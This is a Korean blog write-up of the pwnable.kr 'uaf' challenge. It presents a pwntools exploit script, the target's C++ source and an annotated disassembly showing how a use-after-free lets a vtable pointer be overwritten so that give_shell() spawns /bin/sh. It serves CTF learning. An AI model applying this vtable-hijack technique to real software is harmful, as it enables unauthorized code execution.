security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] uaf

민사민서 2023. 2. 6. 21:23
#-*- coding:utf-8 -*-
from pwn import *

# 원래 chunk에는 Woman(Man)+16 주소 / 나이 / 이름 들어있었음
# Woman(Man)+16 주소에는 give_shell 주소 / introduce 주소 순으로 들어있엇음
# 재할당된 chunk의 첫 8B에 Human(Woman, Man)+8 주소를 덮어쓴다면
# introduce() 함수 대신 give_shell() 함수를 실행할 것임!
with open("ha", "w+") as f:
    f.write(p64(0x401548)+p64(0x401548)+p64(0x401548)) # 0x401568, 0x401588

argvs = ["" for i in range(3)]
argvs[1] = "24"
argvs[2] = "./ha"
p = process(executable="/home/uaf/uaf", argv=argvs)

p.recvuntil("free\n")
p.sendline("3")
p.recvuntil("free\n") # uaf - w에 할당되었던 chunk 재할당
p.sendline("2")
p.recvuntil("free\n") # uaf - m에 할당되었던 chunk 재할당
p.sendline("2")
p.recvuntil("free\n")
p.sendline("1")

p.interactive()

 

 

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private: // 자신의 클래스 안에서만 접근 가능 
   virtual void give_shell(){
      system("/bin/sh");
   }
protected: // 자식 클래스 접근 가능
   int age;
   string name;
public: // 누구나 접근 가능
   // virtual 함수 - subclass에서 재정의할 것으로 기대되는 함수
   // 동적바인딩 - 해당 함수 호출하면 런타임 시 객체에 따라 실행함수 결정됨
   virtual void introduce(){
      cout << "My name is " << name << endl;
      cout << "I am " << age << " years old" << endl;
   }
};

class Man: public Human{ // public 상속 - protected, public 변수 접근범위 그대로
public:
   Man(string name, int age){
      this->name = name;
      this->age = age;
        }
        virtual void introduce(){
      Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
   Human* m = new Man("Jack", 25);
   Human* w = new Woman("Jill", 21);

   size_t len;
   char* data;
   unsigned int op;
   while(1){
      cout << "1. use\n2. after\n3. free\n";
      cin >> op;

      switch(op){
         case 1:
            m->introduce();
            w->introduce();
            break;
         case 2:
            len = atoi(argv[1]);
            data = new char[len];
            read(open(argv[2], O_RDONLY), data, len);
            cout << "your data is allocated" << endl;
            break;
         case 3:
            delete m;
            delete w;
            break;
         default:
            break;
      }
   }

   return 0;  
}

<disassemble 결과>
   0x0000000000400ec4 <+0>:    push   %rbp
   0x0000000000400ec5 <+1>:    mov    %rsp,%rbp
   0x0000000000400ec8 <+4>:    push   %r12
   0x0000000000400eca <+6>:    push   %rbx
   0x0000000000400ecb <+7>:    sub    $0x50,%rsp
   0x0000000000400ecf <+11>:   mov    %edi,-0x54(%rbp)
   0x0000000000400ed2 <+14>:   mov    %rsi,-0x60(%rbp)
   0x0000000000400ed6 <+18>:   lea    -0x12(%rbp),%rax
   0x0000000000400eda <+22>:   mov    %rax,%rdi
   0x0000000000400edd <+25>:   callq  0x400d70 <_ZNSaIcEC1Ev@plt>
   0x0000000000400ee2 <+30>:   lea    -0x12(%rbp),%rdx
   0x0000000000400ee6 <+34>:   lea    -0x50(%rbp),%rax
   0x0000000000400eea <+38>:   mov    $0x4014f0,%esi
   0x0000000000400eef <+43>:   mov    %rax,%rdi
   0x0000000000400ef2 <+46>:   callq  0x400d10 <_ZNSsC1EPKcRKSaIcE@plt>
   0x0000000000400ef7 <+51>:   lea    -0x50(%rbp),%r12
   0x0000000000400efb <+55>:   mov    $0x18,%edi
   0x0000000000400f00 <+60>:   callq  0x400d90 <_Znwm@plt>
   0x0000000000400f05 <+65>:   mov    %rax,%rbx
   0x0000000000400f08 <+68>:   mov    $0x19,%edx
   0x0000000000400f0d <+73>:   mov    %r12,%rsi
   0x0000000000400f10 <+76>:   mov    %rbx,%rdi
---Type <return> to continue, or q <return> to quit---
   0x0000000000400f13 <+79>:   callq  0x401264 <_ZN3ManC2ESsi> // man 할당 ?
// disassemble _ZN3ManC2ESsi 하니까 안에서
// 0x401210 <_ZN5HumanC2Ev>, 0x40123a <_ZN5HumanD2Ev> 호출하는 함수!
// 위 두 함수 내부에서 <_ZTV5Human> 시작주소 (0x401580) 알 수 있음
// 8바이트 단위로 NULL / 클래스타입인포 / give_shell 주소 / introduce 주소
// 그 뒤에 0x4015a0 <_ZTS5Woman>
// "5Woman" 문자열 / NULL / 클래스타입인포 / 자기자신 주소 / 0x4015f0
// 그 뒤에 0x4015c8 <_ZTS3Man>
// "3Man" 문자열 / 클래스타입인포 / 자기자신 주소 / 0x4015f0
// give_shell 주소는 0x40117a 이다!!
   0x0000000000400f18 <+84>:   mov    %rbx,-0x38(%rbp)
   0x0000000000400f1c <+88>:   lea    -0x50(%rbp),%rax
   0x0000000000400f20 <+92>:   mov    %rax,%rdi
   0x0000000000400f23 <+95>:   callq  0x400d00 <_ZNSsD1Ev@plt>
   0x0000000000400f28 <+100>:  lea    -0x12(%rbp),%rax
   0x0000000000400f2c <+104>:  mov    %rax,%rdi
   0x0000000000400f2f <+107>:  callq  0x400d40 <_ZNSaIcED1Ev@plt>
   0x0000000000400f34 <+112>:  lea    -0x11(%rbp),%rax
   0x0000000000400f38 <+116>:  mov    %rax,%rdi
   0x0000000000400f3b <+119>:  callq  0x400d70 <_ZNSaIcEC1Ev@plt>
   0x0000000000400f40 <+124>:  lea    -0x11(%rbp),%rdx
   0x0000000000400f44 <+128>:  lea    -0x40(%rbp),%rax
   0x0000000000400f48 <+132>:  mov    $0x4014f5,%esi
   0x0000000000400f4d <+137>:  mov    %rax,%rdi
   0x0000000000400f50 <+140>:  callq  0x400d10 <_ZNSsC1EPKcRKSaIcE@plt>
   0x0000000000400f55 <+145>:  lea    -0x40(%rbp),%r12
   0x0000000000400f59 <+149>:  mov    $0x18,%edi
   0x0000000000400f5e <+154>:  callq  0x400d90 <_Znwm@plt>
   0x0000000000400f63 <+159>:  mov    %rax,%rbx
   0x0000000000400f66 <+162>:  mov    $0x15,%edx
   0x0000000000400f6b <+167>:  mov    %r12,%rsi
   0x0000000000400f6e <+170>:  mov    %rbx,%rdi
---Type <return> to continue, or q <return> to quit---
   0x0000000000400f71 <+173>:  callq  0x401308 <_ZN5WomanC2ESsi> // woman 할당 ?
   0x0000000000400f76 <+178>:  mov    %rbx,-0x30(%rbp)
   0x0000000000400f7a <+182>:  lea    -0x40(%rbp),%rax
   0x0000000000400f7e <+186>:  mov    %rax,%rdi
   0x0000000000400f81 <+189>:  callq  0x400d00 <_ZNSsD1Ev@plt>
   0x0000000000400f86 <+194>:  lea    -0x11(%rbp),%rax
   0x0000000000400f8a <+198>:  mov    %rax,%rdi
   0x0000000000400f8d <+201>:  callq  0x400d40 <_ZNSaIcED1Ev@plt>
   0x0000000000400f92 <+206>:  mov    $0x4014fa,%esi
   0x0000000000400f97 <+211>:  mov    $0x602260,%edi
   0x0000000000400f9c <+216>:  callq  0x400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400fa1 <+221>:  lea    -0x18(%rbp),%rax
   0x0000000000400fa5 <+225>:  mov    %rax,%rsi
   0x0000000000400fa8 <+228>:  mov    $0x6020e0,%edi
   0x0000000000400fad <+233>:  callq  0x400dd0 <_ZNSirsERj@plt> // cin >> op
   0x0000000000400fb2 <+238>:  mov    -0x18(%rbp),%eax // 여기에 bp
   0x0000000000400fb5 <+241>:  cmp    $0x2,%eax
   0x0000000000400fb8 <+244>:  je     0x401000 <main+316>
   0x0000000000400fba <+246>:  cmp    $0x3,%eax
   0x0000000000400fbd <+249>:  je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:  cmp    $0x1,%eax
   0x0000000000400fc6 <+258>:  je     0x400fcd <main+265>
---Type <return> to continue, or q <return> to quit---
   0x0000000000400fc8 <+260>:  jmpq   0x4010a9 <main+485>
   0x0000000000400fcd <+265>:  mov    -0x38(%rbp),%rax // op=1 일 때 
   0x0000000000400fd1 <+269>:  mov    (%rax),%rax
   0x0000000000400fd4 <+272>:  add    $0x8,%rax
   0x0000000000400fd8 <+276>:  mov    (%rax),%rdx
   0x0000000000400fdb <+279>:  mov    -0x38(%rbp),%rax
   0x0000000000400fdf <+283>:  mov    %rax,%rdi
   0x0000000000400fe2 <+286>:  callq  *%rdx
   0x0000000000400fe4 <+288>:  mov    -0x30(%rbp),%rax
   0x0000000000400fe8 <+292>:  mov    (%rax),%rax
   0x0000000000400feb <+295>:  add    $0x8,%rax
   0x0000000000400fef <+299>:  mov    (%rax),%rdx
   0x0000000000400ff2 <+302>:  mov    -0x30(%rbp),%rax
   0x0000000000400ff6 <+306>:  mov    %rax,%rdi
   0x0000000000400ff9 <+309>:  callq  *%rdx
   0x0000000000400ffb <+311>:  jmpq   0x4010a9 <main+485>
   0x0000000000401000 <+316>:  mov    -0x60(%rbp),%rax // op=2일 때 
   0x0000000000401004 <+320>:  add    $0x8,%rax
   0x0000000000401008 <+324>:  mov    (%rax),%rax
   0x000000000040100b <+327>:  mov    %rax,%rdi
   0x000000000040100e <+330>:  callq  0x400d20 <atoi@plt>
   0x0000000000401013 <+335>:  cltq   
   0x0000000000401015 <+337>:  mov    %rax,-0x28(%rbp)
---Type <return> to continue, or q <return> to quit---
   0x0000000000401019 <+341>:  mov    -0x28(%rbp),%rax
   0x000000000040101d <+345>:  mov    %rax,%rdi
   0x0000000000401020 <+348>:  callq  0x400c70 <_Znam@plt> // new char[len]
   0x0000000000401025 <+353>:  mov    %rax,-0x20(%rbp) // data에 넣는다 
   0x0000000000401029 <+357>:  mov    -0x60(%rbp),%rax // 여기에 bp
   0x000000000040102d <+361>:  add    $0x10,%rax
   0x0000000000401031 <+365>:  mov    (%rax),%rax
   0x0000000000401034 <+368>:  mov    $0x0,%esi
   0x0000000000401039 <+373>:  mov    %rax,%rdi
   0x000000000040103c <+376>:  mov    $0x0,%eax
   0x0000000000401041 <+381>:  callq  0x400dc0 <open@plt>
   0x0000000000401046 <+386>:  mov    -0x28(%rbp),%rdx // len = rbp-0x28
   0x000000000040104a <+390>:  mov    -0x20(%rbp),%rcx
   0x000000000040104e <+394>:  mov    %rcx,%rsi // data = rbp-0x20
// data에는 
   0x0000000000401051 <+397>:  mov    %eax,%edi // fd
   0x0000000000401053 <+399>:  callq  0x400ca0 <read@plt>
   0x0000000000401058 <+404>:  mov    $0x401513,%esi
   0x000000000040105d <+409>:  mov    $0x602260,%edi
   0x0000000000401062 <+414>:  callq  0x400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000401067 <+419>:  mov    $0x400d60,%esi
   0x000000000040106c <+424>:  mov    %rax,%rdi
   0x000000000040106f <+427>:  callq  0x400d50 <_ZNSolsEPFRSoS_E@plt>
---Type <return> to continue, or q <return> to quit---
   0x0000000000401074 <+432>:  jmp    0x4010a9 <main+485>
   0x0000000000401076 <+434>:  mov    -0x38(%rbp),%rbx // op = 3일 때 
   0x000000000040107a <+438>:  test   %rbx,%rbx // rbp-0x38 = m
// 0x2316c50 에 객체 생성됨 (주소는 뒤 세자리 빼고 계속 바뀜)
// 0x401570(give_shell 주소 저장) / 25 / "JACK" 문자열 주소 / 0x31
   0x000000000040107d <+441>:  je     0x40108f <main+459> // 비어있음 delete x
   0x000000000040107f <+443>:  mov    %rbx,%rdi
   0x0000000000401082 <+446>:  callq  0x40123a <_ZN5HumanD2Ev>
   0x0000000000401087 <+451>:  mov    %rbx,%rdi
   0x000000000040108a <+454>:  callq  0x400c80 <_ZdlPv@plt>
   0x000000000040108f <+459>:  mov    -0x30(%rbp),%rbx 
   0x0000000000401093 <+463>:  test   %rbx,%rbx // rbp-0x30 = w
// 0x2316ca0에 객체 생성됨 (주소는 뒤 세자리 빼고 계속 바뀜)
// 0x401550(give_shell 주소 저장) / 21 / "JILL" 문자열 주소 / 0x411 
// len=32하니까 m과 w 사이 공간에 할당, 48하니까 아예 다른 위치
// 24하니까 w 재할당된다!! chunk크기 24B였네 (가장 마지막에 free된게 재할당 대상인가봄)
// len=24를 하고 처음 8B 적절히 덮어쓰면 된다 
// 원래는 0x401550 <_ZTV5Woman+16> 이었다면, 0x401590 <_ZTV5Human+16> 으로?
   0x0000000000401096 <+466>:  je     0x4010a8 <main+484> // 비어있음 delete x
   0x0000000000401098 <+468>:  mov    %rbx,%rdi
   0x000000000040109b <+471>:  callq  0x40123a <_ZN5HumanD2Ev>
   0x00000000004010a0 <+476>:  mov    %rbx,%rdi
   0x00000000004010a3 <+479>:  callq  0x400c80 <_ZdlPv@plt>
   0x00000000004010a8 <+484>:  nop // 여기까지 switch-case 문
   0x00000000004010a9 <+485>:  jmpq   0x400f92 <main+206>
   0x00000000004010ae <+490>:  mov    %rax,%r12
   0x00000000004010b1 <+493>:  mov    %rbx,%rdi
   0x00000000004010b4 <+496>:  callq  0x400c80 <_ZdlPv@plt>
   0x00000000004010b9 <+501>:  mov    %r12,%rbx
   0x00000000004010bc <+504>:  jmp    0x4010c1 <main+509>
   0x00000000004010be <+506>:  mov    %rax,%rbx
---Type <return> to continue, or q <return> to quit---
   0x00000000004010c1 <+509>:  lea    -0x50(%rbp),%rax
   0x00000000004010c5 <+513>:  mov    %rax,%rdi
   0x00000000004010c8 <+516>:  callq  0x400d00 <_ZNSsD1Ev@plt>
   0x00000000004010cd <+521>:  jmp    0x4010d2 <main+526>
   0x00000000004010cf <+523>:  mov    %rax,%rbx
   0x00000000004010d2 <+526>:  lea    -0x12(%rbp),%rax
   0x00000000004010d6 <+530>:  mov    %rax,%rdi
   0x00000000004010d9 <+533>:  callq  0x400d40 <_ZNSaIcED1Ev@plt>
   0x00000000004010de <+538>:  mov    %rbx,%rax
   0x00000000004010e1 <+541>:  mov    %rax,%rdi
   0x00000000004010e4 <+544>:  callq  0x400da0 <_Unwind_Resume@plt>
   0x00000000004010e9 <+549>:  mov    %rax,%r12
   0x00000000004010ec <+552>:  mov    %rbx,%rdi
   0x00000000004010ef <+555>:  callq  0x400c80 <_ZdlPv@plt>
   0x00000000004010f4 <+560>:  mov    %r12,%rbx
   0x00000000004010f7 <+563>:  jmp    0x4010fc <main+568>
   0x00000000004010f9 <+565>:  mov    %rax,%rbx
   0x00000000004010fc <+568>:  lea    -0x40(%rbp),%rax
   0x0000000000401100 <+572>:  mov    %rax,%rdi
   0x0000000000401103 <+575>:  callq  0x400d00 <_ZNSsD1Ev@plt>
   0x0000000000401108 <+580>:  jmp    0x40110d <main+585>
   0x000000000040110a <+582>:  mov    %rax,%rbx
   0x000000000040110d <+585>:  lea    -0x11(%rbp),%rax
---Type <return> to continue, or q <return> to quit---
   0x0000000000401111 <+589>:  mov    %rax,%rdi
   0x0000000000401114 <+592>:  callq  0x400d40 <_ZNSaIcED1Ev@plt>
   0x0000000000401119 <+597>:  mov    %rbx,%rax
   0x000000000040111c <+600>:  mov    %rax,%rdi
   0x000000000040111f <+603>:  callq  0x400da0 <_Unwind_Resume@plt>

<나의 분석 결과>
- chunk 두 개를 free시킨 후
- len=24 해서 data에 할당하면 w 포인터에 할당되었던 chunk가 재할당된다
(24보다 작게 해도 재할당 되더라)
- 그리고 overwrite를 한다 
- 하지만 m 포인터에 할당되었던 chunk도 delete 되면서 값이 오염된 상태이므로
- 한번 더 data에 할당해 m 포인터에 할당되었던 chunk를 data에 할당시킨다
(재할당 안하면 m->introduce() 할 때 세그멘테이션 오류 발생)
- 그리고 overwrite를 한다 
- overwrite를 어케 하냐? 원래 free 전에 각 chunk의 구조는
<_ZTV5Woman+16> 혹은 <_ZTV3Man+16> 주소 / 나이 / 이름 (24byte)  이었으므로
<_ZTV5Human+16>(0x401590) 주소로 채워볼까?  -> 안됨 (introduce() 실행됨)
<_ZTV5Human+8> 주소로 채우면 introduce()가 아니라 바로 give_shell() 실행 -> 된다!!
- 0x401548, 0x401568, 0x401588 모두 가능!!
- /tmp 아래에 폴더 만들어서 거기서 파이썬 파일 생성 후 실행

0x401540 <_ZTV5Woman>: 0x0000000000000000 0x00000000004015b0
0x401550 <_ZTV5Woman+16>:  0x000000000040117a 0x0000000000401376
// give_shell 주소 / Woman의 introduce 함수 주소 
0x401560 <_ZTV3Man>:   0x0000000000000000 0x00000000004015d0
0x401570 <_ZTV3Man+16>:    0x000000000040117a 0x00000000004012d2
// give_shell 주소 / Man의 introduce 함수 주소
0x401580 <_ZTV5Human>: 0x0000000000000000 0x00000000004015f0
0x401590 <_ZTV5Human+16>:  0x000000000040117a 0x0000000000401192
// give_shell 주소 / Human의 introduce 함수 주소

<블로그 보면서 추가>
switch-case op=1 일 때 어셈블리 분석해보면 
<+265>:    mov    -0x38(%rbp),%rax // rax에 rbp-0x38(Man 객체의 주소)를 담고
<+269>:    mov    (%rax),%rax // rax에 rax 값(Man 객체의 첫 8B 값, Man+16)을 담고 
<+272>:    add    $0x8,%rax // rax에 8을 더하고 (0x401578, Man+24)
<+276>:    mov    (%rax),%rdx // rax의 값(0x4012d2, introduce 주소)를 rdx에 담고
<+279>:    mov    -0x38(%rbp),%rax
<+283>:    mov    %rax,%rdi
<+286>:    callq  *%rdx // rdx 호출!
즉, Man 객체의 첫 8Byte에 Man+16이 아닌 Man+8이 저장된다면
Man+16에 저장된 주소의 함수(give_shell)이 호출될 것!